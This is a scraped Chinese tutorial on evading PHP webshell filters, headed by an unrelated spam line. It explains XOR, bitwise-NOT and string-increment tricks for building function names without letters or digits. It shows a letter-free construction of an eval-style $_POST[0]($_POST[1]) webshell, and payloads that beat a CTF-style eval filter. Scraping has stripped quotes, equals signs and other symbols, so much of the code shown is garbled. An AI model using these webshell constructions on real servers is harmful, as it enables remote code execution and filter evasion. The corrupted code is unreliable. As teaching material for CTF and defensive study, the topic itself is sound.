建被采集的网站,pk10代码网站开发,win10电脑做网站,电信宽带360元一年目录
Webshell的过滤绕过
1.异或操作绕过
2.取反操作绕过
3.PHP语法绕过 的过滤绕过
1.异或操作绕过
先来看一段代码
?phpecho A^;//结果为!
?
为什么会输出!
之所以会得到这样的结果#xff0c;是因为代…
目录
Webshell的过滤绕过
1.异或操作绕过
2.取反操作绕过
3.PHP语法绕过 的过滤绕过
1.异或操作绕过
先来看一段代码
?phpecho A^;//结果为!
?
为什么会输出!
之所以会得到这样的结果是因为代码中对字符A和字符进行了异或操作。
在PHP中两个变量进行异或时先会将字符串转换成ASCII值再将ASCII值转换成二进制再进行异或异或完又将结果从二进制转换成了ASCII值再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65对应的二进制值是0100 0001
的ASCII值是96对应的二进制值是0110 0000
在php中异或操作是两个二进制数相同时异或为0不同为1
简单来说就是 有且仅有一个为true就返回true
异或的二进制的值是00100001对应的ASCII值是33对应的字符串的值就是!了
再来看下面这段代码很典型的异或操作绕过
PHP中是可以以下划线开头为变量名的所以$_代表名为_的变量
?php$_; // $_ 1$__(#^|); // $__ _$__.(.^~); // _P$__.(/^); // _PO$__.(|^/); // _POS$__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?
这道题需要我们执行getFlag函数通过GET传参并对code参数进行了字母大小写和数字过滤
这道题就可以用异或操作来绕过
?php
include flag.php;
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)40){die(Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
//$hint php function getFlag() to get flag;
?
?php
function getFlag(){echo {bypass successfully!};
}
?
payload如下
?code$_{{{^?/;${$_}[_]();_getFlag
{{{^?/的结果是_GET所以${$_}[_]()$_GET[_]()而此时_getFlag
所以直接就执行了getFlag()拿到flag
2.取反操作绕过
先来看一段代码
?php
$a getFlag;
echo urlencode(~$a);
?
可以见得这个取反~是可以帮助我们绕过的
那上面那道题也就可以使用这种解法
payload
?code$_~%98%9A%8B%B9%93%9E%98;$_();
%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理
取反符号将url解码后的字符串转换成了getFlag赋值给$_然后执行拿到flag
3.PHP语法绕过
依然先来看一段代码
?php
$aZ;
echo $a; //AA
echo $a; //AB
?
在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a Z; $a; 将把 $a 变成AA而在 C 中a Z; a; 将把 a 变成 [Z 的 ASCII 值是 90[ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化。
也就是说a bb c... 所以我们只要能拿到一个变量其值为a通过自增操作即可获得a-z中所有字符。
那么如何拿到一个值为字符串a的变量呢
巧了数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array
?php
echo .[];
?